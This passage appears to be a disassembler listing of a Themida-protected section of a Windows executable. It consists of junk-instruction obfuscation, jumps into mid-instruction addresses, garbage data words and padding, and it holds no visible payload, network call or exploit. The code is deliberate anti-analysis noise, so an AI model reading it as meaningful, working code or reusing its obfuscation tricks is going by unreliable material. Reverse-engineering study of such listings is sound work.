clc
adc ecx, 67B095B1h
popa
jmp loc_6061EE
; ---------------------------------------------------------------------------
dd 0B42146C2h, 8E50F5F0h, 0DC68C263h
; ---------------------------------------------------------------------------
cmp esp, eax
loc_6061EE: ; CODE XREF: Themida_:006061DBj
popa
jbe loc_6061F8
mov bx, dx
loc_6061F8: ; CODE XREF: Themida_:006061EFj
mov bl, 0D9h
sub cx, 9003h
cld
movzx esi, di
jle loc_60621F
call near ptr loc_606218+3
cld
loc_60620F: ; CODE XREF: Themida_:006061C2j
cmp eax, 94ED015Dh
sub bh, dl
sub edi, edx
loc_606218: ; CODE XREF: Themida_:00606209p
xor [ebp-2674998Eh], ah
pop ecx
loc_60621F: ; CODE XREF: Themida_:00606203j
jmp loc_606230
; ---------------------------------------------------------------------------
dd 0F041AF20h, 0DD53A938h, 1EB73298h
; ---------------------------------------------------------------------------
loc_606230: ; CODE XREF: Themida_:loc_60621Fj
mov eax, ecx
mov dx, ax
mov ax, bx
mov cx, di
jmp loc_60624E
; ---------------------------------------------------------------------------
dd 242FB436h, 3D9DD999h, 258D47F4h
db 9Bh, 0D5h
; ---------------------------------------------------------------------------
loc_60624E: ; CODE XREF: Themida_:0060623Bj
push eax
jmp loc_606267
; ---------------------------------------------------------------------------
dd 0FA18B7DCh, 6316F3AAh, 0C5891E8Ah, 28C46ADDh
db 67h, 72h, 43h
; ---------------------------------------------------------------------------
loc_606267: ; CODE XREF: Themida_:0060624Fj
pop esi
mov cx, 5E99h
js loc_606277
add di, 1018h
loc_606277: ; CODE XREF: Themida_:0060626Cj
jmp loc_60628C
; ---------------------------------------------------------------------------
dd 6982BBB0h, 0DB45B90Ch, 1FB4E61Dh, 456347FAh
; ---------------------------------------------------------------------------
loc_60628C: ; CODE XREF: Themida_:loc_606277j
pusha
movsx edi, ax
pusha
mov ecx, 19F27C83h
popa
popa
mov dx, 7CF4h
adc ax, 3EEh
pusha
call loc_6062AE
js short loc_6062EB
xchg eax, ecx
sub al, 0F4h
xor al, 0Ah
loc_6062AE: ; CODE XREF: Themida_:006062A2p
mov bl, 0BCh
pop edi
jb loc_6062B9
push ecx
pop edx
loc_6062B9: ; CODE XREF: Themida_:006062B1j
popa
jnb loc_6062C5
xor di, 0D0Fh
loc_6062C5: ; CODE XREF: Themida_:006062BAj
mov ecx, 3201B34Ch
jp loc_6062D3
mov di, bx
loc_6062D3: ; CODE XREF: Themida_:006062CAj
adc di, 0D090h
jmp near ptr loc_6062EB+4
; ---------------------------------------------------------------------------
db 88h, 6Dh, 24h
dd 9B3656A7h, 39D6530Ch
db 0EEh, 8Dh, 0C6h
; ---------------------------------------------------------------------------
loc_6062EB: ; CODE XREF: Themida_:006062A7j
; Themida_:006062D8j
jmp near ptr 0FBC44EAh
; ---------------------------------------------------------------------------
dd 0F56DABFh, 1088h, 0BE900h, 0CC0C0000h, 5D49C127h, 6EFC33B5h
dd 23065984h, 0D5h dup(23065A31h), 0D6E50631h, 30Ah dup(0D6E5068Bh)
dd 180h dup(0ACCD2A21h), 0A74FF021h, 0EEh dup(0A74FF031h)
dd 3D4FF031h, 14Eh dup(3D1CA652h), 54h dup(0D781D21Ah)
dd 135h dup(0E8C12F52h), 0AD8h dup(0CCCCCCCCh), 0CCCCh
dd 1E85h dup(0)
dword_612D20 dd 0B8h dup(0) Themida_ ends
; Section 5. (virtual address 00213000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 00213000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 613000h
align 2000h
_idata2 ends
end start